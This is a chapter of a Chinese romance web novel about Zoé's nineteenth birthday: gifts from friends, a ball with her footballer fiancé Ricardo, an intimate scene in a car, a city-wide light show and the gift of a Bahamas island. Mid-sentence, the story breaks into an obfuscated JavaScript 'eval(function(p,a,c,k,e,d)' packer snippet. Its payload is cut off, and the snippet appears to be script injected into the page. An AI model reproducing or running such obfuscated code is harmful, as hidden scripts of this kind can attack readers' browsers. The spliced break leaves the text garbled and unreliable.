“我当初到底为什么要答应这么多邀请?!”瘫在地上的“猫水”嗡嗡地发出波动。 “最后那次是因为邻居霍华德太太连续送了四次请帖都被你拒绝了,最后你实在不太好意思,才答应下来。”米丽安有条不紊地回答,“至于前三场,大概是为了同学情谊?” “……” - 12月17日其实是我的生日,是的,被裹挟在圣诞节假期的热潮中,前后簇拥着一场又一场热闹非凡的舞会与晚宴,这使得我的生日庆典总是笼罩在一种被节日喧嚣冲淡的氛围里。 在这几天,快递包裹如雪花般纷纷扬扬地飞来,络绎不绝地叩响家门。每一个包裹里,都藏着家人和朋友们的心意,是他们提前寄给我的生日礼物。 生日前两天,我满心欢喜,拉着米丽安坐在温暖敞亮的客厅里拆快递。早在一个月前,我就在社媒上公开了一份礼物清单,方便大家挑选。清单上的单品价格从几欧元到几十欧元不等,都是些我平日里心仪的小物件,诸如书籍、香薰、餐具、唱片之类的。 当然,并非所有人都依照这份清单来挑选礼物。比如我远在中国的好友贝拉,她跨越了一整个太平洋,送来了一台私人订制的钢琴节拍器,用优质黑胡桃木精心打造,纹理清晰,质感温润。 还有阿尔玛和胡安,他们寄来的礼物堪称珍贵——一本1587年版的《玫瑰传奇》手抄本。这样的手抄本在拍卖会上往往能拍出令人咋舌的高价。当我小心翼翼地打开包 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“亲爱的,你穿什么都美极了。但不得不说,这条裙子的颜色与你相得益彰,完全是为你量身打造的。”米丽安毫不吝啬地夸赞道。 莱昂和布兰卡送给我一台宝华韦健的书架式音响。等我拆开包装后,想要立刻领略这台曼妙精灵音质的念头蠢蠢欲动。然而,目光扫过地上堆积如山、尚未拆封的礼物时,我还是强忍住激动,默默盘算着等会儿就用它替换掉我那台老伙计。 当然,除了大部分讨人喜欢的礼物以外,也有一些让我和米丽安瞠目结舌的。比如,拉斐尔遭达尼尔捉弄,画了一幅名为《湖边的忧郁马人》的油画送给我。要命的是,画中那体态优美、全身赤裸的马人,竟长着一张与里卡多如出一辙的脸! 我当下便决定,要用一层厚厚的帷幕将这幅画严严实实地遮盖起来,然后把它永远锁进我的储藏室里,就像道连·格雷悄悄藏匿起他的罪恶之画一样。咳咳,绝不能让里卡多瞧见这幅画,不过我倒可以闲来无事溜达着进去欣赏一番…… 至于达尼尔自己送了我什么,他在来信中是这么说的: 亲爱的佐伊,你肯定会喜欢我和卡洛斯送给你的礼物!当然,我想你应该也猜到了。哈哈,没错,还是你从两岁半起就最爱的玩偶品牌!今年又是一只巴塞罗熊!是不是超开心!! 补充一下,我在芝加哥的吉利猫品牌店订购的时候,店员特意告诉我,这可是全市的最后一只喽。 再补充一点,这或许会成为你拥有的最后一只巴塞罗熊,除非他们后续推出更大尺寸的。说不定从明年起,我们可以送给你兔子。 对了,你还没拆拉斐尔的礼物吧?我敢保证,这绝对会是你收到的最惊喜的礼物!(排在我的礼物之下 )不用谢哥哥,哥哥懂你!(飞吻飞吻~) 爱你的达尼尔和卡洛斯 佐伊,以下是卡洛斯。希望拉斐尔的那幅画没把你吓到。总之,拉斐尔声称自己画得极具艺术性,什么“圣洁且诱惑”“超越人类的美丽生灵的躯壳却禁锢着忧郁者的灵魂”,说得神乎其神。我费了好大的劲,才劝住他别把这幅画送去画展展出,理由是这是送给佐伊的私人礼物。 还有,看在我的面子上,答应我,下次见到达尼尔时,对他下手轻一点儿。最后,19岁生日快乐,我们的小公主! 永远爱你的哥哥们 “达尼尔这家伙……”我咕哝着,和米丽安一起把目光投向身旁那只安静端坐的巴塞罗熊。它身形庞大,将近一米高,圆滚滚、胖乎乎的模样极惹人注目。 “他每年都会送我一只巴塞罗熊。”我对米丽安解释,“尺寸从小排到大。” “这简直太暖心了!”米丽安惊叹不已,“你哥哥一定非常爱你!” “这点我并不否认。” 我颔首认同,“正因如此,我揍他也纯粹是出于爱!” - 里卡多在15日下午飞到了芝加哥。 美职联2015赛季正式落下帷幕。奥兰多城俱乐部在季后赛中一路过关斩将,高歌猛进,先后闯入东部赛区半决赛与决赛,遗憾的是,最终在赛区决赛中折戟,无缘美职联杯总决赛。 我在机场见到他的时候,他心情还不错。他看出了我的担忧,把我揽进怀里,轻松道:“至少我们创造了球队历史最佳战绩,我相信明年我们会更进一步。” “所以你正式放假啦?”当我们坐上我那辆蓝色迈凯伦时,我问他。 “冬季假期正式开始咯。”他毫不掩饰内心的喜悦,大声回应,“甜心,接下来我就能一直在芝加哥陪着你了!而且,我还为你准备了一份生日惊喜。” “那太棒了!”我当即说道,一脚踩下油门,让这头快活的金属蓝鲸在横扫芝加哥的凛冽寒风中喷吐着白色水汽,摆尾疾驰而去。 “能透露一下是什么惊喜吗?”我好奇地追问,“该不会又是一场烟花雨吧?” 他神秘地摇摇头:“我只能告诉你,你肯定会喜欢。” 我轻笑了一声:“好吧。事实上,我这几天已经收到了很多惊喜。不过,毫无疑问,见到你才是我最大的惊喜。” 他微笑着注视着我:“我原本以为,明晚你会单独举办一场生日宴会。” “往年确实是这样。但今年正巧碰上我们社团的圣诞舞会,一开始大家都想着改期,可我觉得生日派对也无非是邀请大家一起通宵达旦地喝酒跳舞,索性就把它们合二为一了。只是——”我斜睨了他一眼,狡黠道,“大球星,你这次仍然不介意和我们这群小鬼头混在一起吧?” 他眉梢一挑,眼中笑意更浓:“我不是早就被你这个小机灵鬼拐得晕头转向了吗?既然已经上了你的船,自然只能跟着你混到底了。” 44.舞会和生日 里卡多陪我一起参加了15日晚上的学生会圣诞晚宴。 当我挽起他的手臂,与他并肩步入这座灯火辉煌的19世纪礼堂里时,几乎所有笑语嫣然的目光都向我们飞来。 头顶的水晶吊灯洒下银光,身穿整齐礼服的乐师们围坐在舞厅的四角,欢快的舞曲自他们的指尖流淌,音符在空气中横冲直撞。此起彼落的香槟杯搁在银托盘上发出脆响,人们如逐香的蜂蝶,踩乱了舞步,掷下了手帕,向我们簇拥而来。 兰登从人群中奋力挤出,引得周围人皱眉侧目。好不容易来到我们面前,他先是整理了一下神色,脸上堆起一副矜持的笑容,继而说道:“卡卡先生,或许您还记得我。敝人有幸忝任学生会主席之位,亦为佐伊好友。昔日于您华美宅邸中举办的派对,敝人承蒙厚爱,得以受邀赴会,实感荣幸之至。” 我不动声色地捏了捏里卡多的手,示意他先别开口,随即回应道:“我还以为你更乐意和文明人交朋友呢,而不是像我们这样,被某些人冠以‘野蛮人国王’‘野蛮人王后’之类名号的人。” “哈!”兰登爆出一声短促而窘迫的干笑,“如果是斯嘉丽跟你们说了些什么,她一贯口无遮拦,就爱胡说八道,你怎么可能会相信——” “我胡说八道?”斯嘉丽的声音从老远处就响起,她气势汹汹,高跟鞋咚咚踏地,晚宴包上下翻飞,眨眼间便冲到我们跟前,“你还有脸在佐伊和卡卡面前出现?你自己亲口说的那些话,敢说不敢认啊?大主席,我劝你别在这儿装模作样了,不嫌丢人现眼吗?你是不是觉得我就是个没脑子的金发傻妞?你做的那些破事,要不要我一一说出来,让在场的各位都听一听?” 兰登顿时像被人掴了一掌似的后退了半步,气得脸色煞白,见众人纷纷露出怪异的神情,他的面色又瞬间由白转红,最终,他一言不发,扭头匆匆离开了。 “呸,看他下一届还能捞到几张选票。”斯嘉丽不屑道。 我和里卡多对视了一眼,我笑眯眯地凑到这个小炮弹身边,和她亲密地贴了贴脸颊:“谢谢啦,斯嘉丽,知道你一直在维护我们。” - 等到生日前一天,我已经连续参加了两场晚宴,对当晚的这场实在是有些意兴阑珊。 我在里卡多怀里一直赖床到了中午。我们起床后简单吃了个午餐,等到下午,露娜和斯嘉丽便登门了。 “斯嘉丽乱开车,还完全不听我指挥,我们至少迷了三次路!”露娜一见到我,就像连珠炮似的开始告状。 斯嘉丽心虚地别开脸:“佐伊,我开车进来的时候,不小心撞到了你家门口的花盆。你让园丁去看看,还能不能抢救一下。” “呃……”我一时语塞,片刻后无奈道,“算了,让它们自求多福吧。不过,我们现在就开始准备是不是早了点?你们想不想先去楼下的音影室玩一会儿?” 露娜和斯嘉丽对视了一眼,异口同声道:“当然不!” 话音刚落,她们俩一人一边拉住我的胳膊,半推半搡地把我往楼上带。里卡多不明所以地想要跟上来,却被米丽安拦住了。 “男士止步!”姑娘们齐声嚷道。 “放心,我们会还你一个美貌翻倍版佐伊的!”露娜扭头对他笑眯眯道,“绝对是你从没见过的。” - 柴火在壁炉中噼啪一声爆开,房间里满是脂粉香气与吹风机的嗡嗡声。一场精心编排的时尚舞台剧正式开场,小妞们分工明确,各显神通。 我被按到化妆镜前的扶手椅上。露娜立于我身后,手中吹风机喷出暖风流,被她精心摆弄的发丝,逐渐蜷曲成灵动的波浪。斯嘉丽则端坐在我对面,化妆刷不断蘸取色彩斑斓的粉黛,在我脸庞上轻点晕染,勾勒眼线,涂抹腮红。而米丽安正小心翼翼地握住我的手,为我的指甲涂抹上一层华裳。 两个小时的精雕细琢后,她们终于大功告成,允许我换上弗洛拉送我的那条蓝色晚礼服裙。 当我站在全身镜前端详我自己的时候,一时间竟有些恍惚,仿佛看到镜中的女孩披上了一层来自深海的粼粼波光。轻柔的长裙宛如我的第二层肌肤,领口是用蕾丝编织成的霜雪之网,裙摆悠悠垂落,如同一朵在冬季日暮里盛放的蓝色鸢尾花。 露娜拿来一个小巧的宝石头饰,戴在了我泛着金光的栗色卷发上。 “露娜,这是你的吗?”我看着这只嵌满水晶珠缀和钻石的饰品,好奇问道。它斜插在我的发间,就像插着一小束凝结着晨霜的晶莹花蕾,又好似枝头垂挂的细巧雾凇。 “当然是你的了,亲爱的。”露娜说道,镜中,她与斯嘉丽相视一笑,“这是我们送你的生日礼物。” “哇哦,谢谢!”我惊喜地叫出声来,“我非常喜欢。” “时间到了,姑娘们。”米丽安轻推着我的肩膀,把我往房门外送去,“王子还在等着我们的公主呢。” 我英俊非凡的未婚夫正等在旋转楼梯下,像极了一位从上世纪初款步而来、柔和寂静的绅士。 他身上的燕尾服是裁下的一小块被海水泼蓝的夜幕,折角短下摆紧束腰身,与之一色的西裤顺势而下,更显他身材高大匀称,我甚至能感觉到那布料下面紧实流畅的肌理。 他赞叹地注视着我,向前迈了几步,伸出手来。我将手轻轻搭在他的手上,走下最后几级台阶。他的头发用发胶整齐地向额头两侧梳理着,柔亮的褐色眼睛就藏在飞蛾羽翅般的睫毛之下。 “你美极了。”他借着帮我调整宝石发饰的姿势俯身耳语,燕尾服的缎面戗驳领优雅地向外翻开,露出内里洁白的衬衫与马甲,“平日里的你已经美得像一座银光闪耀的喷泉;而现在的你,每一颗水珠都异彩纷呈,亲爱的,你把每一道彩虹都揉进了影子里。 “你的肌肤是一朵绽放的白玫瑰,你的嘴唇是栖息在珊瑚丛中的鸟儿的小小红喙,你的眉毛就如同丘比特的弓箭,低低地歇在眼眸之上。而你的眼睛,今晚的月亮就在你的眼睛里呢。” 我忍不住轻声浅笑,目光在他身上逡巡。那枚白色领结一丝不苟地环于他的脖颈,使他宛如一件精心包装、秀色可餐的精美礼物,亟待我去揭开其中的美妙。 “你这是……偷偷背了多少首情诗呢,卡卡先生?” 他将我的手送到唇边,自然而然地落下一个吻:“全都发自我的内心。” - 我们人类学社团规模不大,成员间彼此熟稔,因而只租了一个小巧的礼堂。 当大门被推开,暖光如瀑,裹挟着酒气、笑声与松枝的冷香,直直扑来。 丝绸裙衣发出来来回回的窸窸窣窣声,香水味突然飘来又突然淡去,寒暄声如泡沫般涌起。朋友们纷纷围拢过来,与我拥抱、亲吻,递上礼物,每一句生日祝福都像是蘸着蜜的羽毛,轻挠我的心。 “我身旁这位男伴,想必大家都已经认识了,我就不再特意介绍啦。”我俏皮说道,引来众人或艳羡或友好的哄笑声。 乐声适时奏响,是充满暧昧氛围的圆舞曲。他揽上我的腰际,我们步入舞池中央,像两颗流星滑入狂欢的星河。 巨大的枝形吊灯高悬头顶,其上装饰着成百块小巧玲珑的棱晶玻璃,折射出火焰、猫眼和尖晶石的光辉。脚下的硬木地板像玻璃一样亮晃晃,长裙的每一次摆动仿佛都能掀起一阵蓝色涟漪,绸面上流动着幽冷的光,又似月光在浪尖跳跃。 “海妖小姐,你今晚真是光彩夺目。你是从深海游来的精灵,可你为什么到人类的世界里来呢?”黑色漆皮鞋尖抵住我的银色鞋跟旋转,那双手臂微微用力,我的身体随之向他倾斜。 “自然是因为,”我睫毛扑闪,“亲爱的,你亲手带走了我的梦呀。你不记得了吗?在爱琴海的礁石上,我亲吻你的嘴唇,你永远也无法逃离我的歌声,直到你化作一具莹白漂亮的白骨。于是,我循着你灵魂的踪迹来到人世间。是自你灵魂中散发的浓香引诱我上岸,是你掳走了我的梦。” 他稳稳扶着我的腰肢,带着我轻盈地转了一个又一个圈,旋转起来的裙摆似水母的触须,在水波中悠悠荡漾。他嘴角含笑:“若真能珍藏你的梦,我甘愿做这世上最贪婪的人。” “要小心,亲爱的。”我轻飘飘地瞟了他一眼,裙摆下的晦暗里,尘埃在一圈圈飞舞,“要是你一不小心跌入我的梦里,我就会把你囚禁在最幽深的底层。在那里,往上层层叠叠尽是飞鸟衔来的绮梦幻影,你再也别想从里面逃出来了。” 他的手臂蓦地一紧,我毫无防备,整个人径直撞入他怀中。我们的身躯紧紧贴合,彼此间再无毫厘罅隙。 “甜心,我巴不得永远住在你的梦里呢。” 一曲终了,余音在空气中渐渐消散。他箍住我的手,不由分说地按在他心口,低声道:“你听,它为你跳动得有多疯狂。” 我用力戳了戳他的胸膛,冲他笑道:“心跳得这么快,可不一定是因为我,说不定是舞池里的美酒和狂欢。” 他跟着轻笑出声,稍作停顿,目光灼灼道:“既然这样,那我们就离开这里。” “什么?”我惊讶道。 “一直穿着高跟鞋,脚累不累?” “……还好。” “嘴硬的小狐狸。”他摇了摇头,“刚才跳舞的时候,你差点崴到脚。” 我微微一怔。的确,刚才有段节奏突然加快的旋律,让我有些措手不及,步伐出现了一丝慌乱。本以为无人察觉,没想到他一直在留意。连续三天都穿着高跟鞋奔波,腿脚确实已经酸痛难耐了。 他不再多言,利落地脱下外套,披在我的肩头。 紧接着,他俯下身,手臂顺势穿过我的膝弯与后背,稳稳将我抱起。我下意识地伸出双手绕上他的脖颈,指尖不自觉地攥紧了他的衣领。 朋友们的目光讶然投来,四周响起一片抽气声。他的呼吸近在咫尺,心跳遽然加快,我的脸颊又一次,不受控制地泛起红晕。 我将头深深埋入他的怀中,鼻尖萦绕着他白衬衫上散逸出的气息,那是苔藓的清新与海风水汽的凛冽相互交融,是一场来自远方的温柔邀约。我分辨出这是我买给他的那瓶“爱尔兰漫步”。 那些交错的视线接连不断地往我们身上投射,他似乎全然不在意,只是从容对众人说:“佐伊累了,我先带她离开。” - 十二月的风卷着槲寄生浆果撞开礼堂大门,庭院里的凉意顺着指尖攀爬。 他一路抱着我来到车前。迈凯伦的蝴蝶门自动开启,他小心翼翼把我放在副驾驶座上,又帮我系好安全带。等一切妥当,他才绕过车头,坐进驾驶座。 “他们肯定在议论我们。”我嘟囔着,伸手打开空调暖风,随后在座位上脱下那双银色高跟鞋。长时间被鞋子束缚,丝袜下的肌肤正泛着一层带着粉色的微光。 “他们在说我们感情怎么这么好。”他一脸理所当然,目光在我身上滑落,“小脚酸不酸?我帮你揉揉。” “在车上帮我揉?”我吃了一惊,“空间太狭窄了吧,姿势会有点奇怪。” 他揶揄似的笑了起来,眉梢一挑。 “宝贝,我们什么姿势没试过?” 腾地一下,我整个人都烧了起来。 “我们明明都没有……”我又羞又窘,声音越来越小,“虽然我们有那样,但那也不算是,呃……”我支吾着,“而且,我们也从来没在车里——” “小家伙,”他笑了好一会儿,最后那笑容收拢成一个无限柔情的神色,“我在开玩笑呢。我怎么舍得在车上这样对你呢?” “我怎么舍得呀?”他轻轻摇了摇头,腕上的百达翡丽表在摘下时发出了一声极细微的“咔嗒”声,像是不经意间磕在了心上。 他把手表搁到仪表台上,上半身探过中央扶手,副驾座椅随着他调整角度而缓缓后仰。我为他挑选的那枚钻石袖扣擦过我的膝盖内侧,触感微凉,他一只手托住我的小腿,另一只手开始揉捏起来。 红晕在我脸颊上久久不散,他掌心忽然施力,职业球员特有的薄茧刮过我酸胀的小腿肌肉,我忍不住轻轻呻吟了几声。 “会有点疼,”他垂着头说,拇指在我的小腿上缓缓打着圈,“得让筋膜放松下来才行。”腕间苔藓的气息与车载香氛的广藿香在空调风口相互缠绕。 我的后腰深深陷进跑车的座椅里,他白衬衫下绷紧的小臂肌肉正随着他的动作起伏。晃动的光斑游过我们交叠的肌肤,像一尾尾暖橙色的鱼。 他的手指沿着跟腱往下游走,滑过突起的跗骨,在脚背淡青血管处蓦然收拢。 “嘶——”我吃痛,他立即用手肘顶开我试图并拢的双腿。 “乖,马上就好。”他柔声哄我,手上的动作却丝毫未停。尾指像是故意逗弄我似的扫过我的足心,酥痒的颤栗感让我猛地一缩,蜷起的脚趾在他掌心狠狠蹭过。他微不可察地笑了一声,鼻尖几乎抵住了我冰凉的膝盖,呼出的热气顺着裙摆钻了进去。 良久后,等另一只腿的酸胀感也逐渐褪去。他直起身。 “感觉好多了。”我故作镇定地说,“这值得一百个吻。” “我发现你呀,总喜欢拿吻当作筹码。”他盯着我,戏谑道,“那你又打算什么时候兑现这份报酬呢?” “别急嘛。”我缩了缩脖子,试图用堆在耳边的松散发卷藏起发红的耳朵,“来日方长。你已经是我的头号客户了,而且是唯一的客户。” 他却不依不饶,将我的脸扳回,用鼻尖亲昵地蹭上来。 “总是习惯用赊账来打发债主?可别让我等太久。”低哑的尾音扫过我的唇角,后仰的脖颈忽然被温热的掌心所承托。他的唇缓缓覆上来,先是拂过我的下颌,而后沿着脖颈一路吻下去。 “不然我怕自己会忍不住来强行讨债。小家伙,我的利息可远远不止一百个吻。” 我的喘息声从喉咙里溢出,手指不由得陷进他的后颈,微微用力,迫使那张脸从我的胸脯上抬起来。从车窗漏进的暖黄光在他眼睑上流淌,将睫毛染成晃动的金箔,随着每一次眨眼泛起细微波纹。 我透亮的甲尖开始沿着他喉结的凸起游走,却在触到锁骨时被猛然攥住。 “贪婪的债主先生……”尾音被猝不及防地吞入,化作皮革座椅上挤压的细碎呻吟。玫瑰色的唇红依次染上了他的嘴唇、下颚、锁骨,还有更深处。 - 狂风刮擦着车窗,引擎吼出低音提琴的拨弦声。里卡多双手扶着方向盘,衬衫袖口卷至手肘,随着转弯力度的变化,潜伏在小麦色皮肤下的青色溪流时隐时现。 前方的湖滨公路收束成一条光缆,往芝加哥的天际线铺展而去。那些由人类的野心与欲望铸就的庞然大物,突兀地插入夜空的心脏,在云团之上搭建起一座座发光的迷宫。 “我们就像两个逃犯。”我饶有兴味地开口。 他微微转头,回应道:“那你就是我最甜蜜的共犯。” “其实是你把我拐走的,对吧?你该不会是想把我带到没人的地方,对我做什么坏事吧?” “带你去吃夜宵。”他无辜道,“这算不算坏事?” “这可是会让美少女长胖的坏事。”我严肃地点点头。 他低低地笑了起来。 “快看三点钟方向,”我忽而兴奋地喊道,“那栋楼顶的霓虹灯,像不像融化了的彩虹糖?” “副驾储物格就躺着一罐彩虹糖,但你现在吃会粘牙。” 车胎碾过路面凸起的反光带,我瘪了瘪嘴,扭头瞪他:“大球星,你的冷笑话就和芝加哥的路政一样需要返厂维修。” 他悠悠看了我一眼:“看前面,甜心。” “看什么?”我嘟囔着,目光却不由自主地投向挡风玻璃。 就在此刻,那些如环形光冕般拱卫在我们前方的玻璃大厦,同时熄灭了灯光。如同某种巨型水母猝然收缩起它的生物电流,霎那间,整座城市陷入死寂般的黑暗。 “这是……电力故障吗?”我惊愕地出声。 芝加哥市中心停电?老天,这简直不可思议!我敢打赌不出五分钟,全城媒体都会疯狂报道这起离奇事故。 “宝贝,”他的笑容竟然很灿烂,“再过六十秒,午夜钟声就要敲响了。” “是啊,我的生日马上到了。”我下意识地应和,话一出口,心脏猛地一紧,脑海中瞬时闪过一个近乎荒诞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他微笑着偏过头来,我清楚地看到那抹玫瑰红的唇脂仍然残留在他的嘴角,蓝光绿彩的影子在他的眼皮上旋动不已,而那双望向我的眼睛,比这一道道各不相同的光斑,比黑夜里的千斛明珠还要闪亮。 我的双眼缓缓阖上又睁开,眼中满是怔忪。 这个男人…… “喜欢。”我轻颤着眼睫,“这太震撼了。我从来,从来没有想过,你会为我做这些。这一切,所有的一切……” 我的声音变得浑浊不清,我深深吸了一口气,意识到自己说不下去了。喉咙像是被一团酸涨的棉絮堵住,我仿佛在哽咽。 “我真的,非常,非常……喜欢。”我努力地,笃定地说着,从酸胀的心脏里涌出无限喜悦、无限幸福的浪潮。 “甜心,”他轻声唤我,“即使我能做到这些,可这一切,却不过是我对你爱意的冰山一角。” - 银质餐叉与瓷盘轻触的声响悬浮在四百米高空,落地窗外的摩天楼群仍在为我的名字燃烧。 “三天后,这些光会溶解在芝加哥的雨里吗?”我手托着腮,天马行空道。 坐在对面的男人正在专注地剥虾,手指被冰酒浸润得闪闪发亮。当他把鲜嫩的虾肉放入我盘中时,一滴金色的酒液顺着他的腕骨滑落,在我的注视下,一直没进衬衫的袖口。 我一口气把所有的虾都吃掉,等下一波虾肉的间隙,又开始盯着玻璃幕墙上跳动的“Zoé”看,这几个字母正随着餐厅旋转的节奏缓缓位移。 “如果你喜欢,可以让它一直闪下去。” 这话说得有点霸道,我噗嗤一声笑了,侧过头来看他:“我总不能过一辈子19岁生日吧?” “只要你喜欢,没有什么不可以。” 呦,更加霸道了。这个男人,今天是打算火力全开,花枝招展了吗? 我摇了摇头,舀起一勺缀着金箔的鱼子酱,冰凉颗粒在舌尖爆开的瞬间,我想到了一个诗意的形容。 “它们会成为云层里的磷火,每年今天从密歇根湖底浮上来。”我迫不及待地说给他听。 他微笑了一下。月光从玻璃穹顶的菱形切面簌簌坠落,我们就像是被笼罩在一个悬浮于半空的光茧之中。他把又一批虾肉倒进我的餐盘里,而后擦了擦手,滑开手机屏幕,递到我面前。 “这是……一座小岛?” 我看着屏幕上旋转的3D岛屿模型,眼中满是惊奇,“位于巴哈马群岛的北伊柳塞拉湾。巴哈马?你想去那儿旅行吗?感觉挺不错的,你的游艇正停在佛罗里达海峡口吧?”我瞟了他一眼。 “或许我们可以直接开着游艇去那里?拜托了亲爱的,这次一定得让我来驾驶!从雅典回来以后,我就无可救药地爱上开游艇了。不过这得等我从中国回来以来再说。” “甜心 ,这是你的岛。”他一直面带微笑地听着我说完,然后才开口,嗓音是一贯的温和,却让我的双眸霎时睁大了,“65英亩,永久产权——准确地说,是‘El martín pescador de Zoé’(佐伊的翠鸟)。” 我抬起目光,难以置信地望向他。 “我们曾一起目睹落日坠入墨西哥湾,也见证过太阳从爱琴海海面徐徐升起。而现在,我找到了一个更迷人的所在。北纬25°11'',西经76°14''——距离佛罗里达仅220海里,那里的潮汐周期与佛州完全同步。” “你是认真的?”掌心传来布料被绞紧的触感,我骤然回神,视线再度被那座浮现在浪尖上的鸟形岛屿攫住。 海水依然是一种蓝绿色调,粉红色的沙粒裹着被潮汐碾碎的月光螺壳,当鸥鸟掠过时,整片海滩会泛起贝壳内壁才有的虹彩。远处的茂密丛林像是一片绿色火焰,隐约可见静卧其间的飞机跑道和白色度假别墅。 “它现在属于你。拿骚土地局刚盖完电子章——看这里。”他滑动屏幕,页面切换成了一张带有官方印章的产权证。 “它真的很美,你一定会非常喜欢。它恰好处在北大西洋暖流的分叉点,每年4月,哈勃岛的粉砂会随洋流漂来,形成季节性的粉红沙滩。它还设有私人飞机跑道和度假屋。从奥兰多直飞我们的小岛,只需要50分钟。要是驾驶着游艇从迈阿密出发,也不过是一个白天的行程。” “你已经把它买下来了?”我梦呓般地问道。 他点了点头,仍然在微笑:“我筹备了好几个月,巴哈马允许外国人购岛,但需要经过环境部评估和内阁审批,我一直担心会赶不上你的生日。幸运的是,有一位内阁成员是我的球迷,他愿意帮我稍稍推进一下流程。” 因为我拒绝了他送我一栋豪宅,所以现在他就要送我一座岛?!老天,这究竟是什么奇幻的展开! 我试图从他的眼神中找到一丝玩笑的意味,却只看到全然的郑重。 “我希望你不要拒绝。”他举着手机,声音轻柔,却似乎带着一丝恳切,“因为这一次,我想送你的,是每一场日出日落,是盈盈沙砾,是无垠大海,是周而复始的潮起潮落,是那些永远归属于你,却又绝不会束缚你的美好。” “佐伊,也许人们总将爱捧上神坛,让它只存在于缥缈的概念里。但爱也可以这样具体。你说物质的美源于情感的投射,那我对你的爱——超越一切、永恒不变的爱,倾注在这份礼物里的爱,为什么不能让你坦然接受呢?” 我张了张嘴,想要说些什么,话语却在唇边凝滞。 他的眸光漫上来时,那片海便淹没了所有的声响,甚至我慌乱的心跳都沉入到一万英尺之下。我看见自己的倒影在柔波里沉沉浮浮,碎成了一千万片,又聚拢成一轮摇晃的月亮——原来人在极度温柔的目光里,真的会融化。我裸露的脚踝分明触到了细沙流动的痕迹,潮水涌上来,带来一阵阵温暖的战栗。 “可是,我要怎么回赠这样的……” 当潮水渐渐退去,那些卡在喉咙里的词语,它们变成透明的蟹,举着细小的螯足爬回深海。 “这样的……永恒?” “用你的此刻来交换。”他的呼吸与潮声重叠,“用此刻你的快乐,此刻你呼吸的节奏,此刻你眼里映出的世界,比真实更明亮的世界。”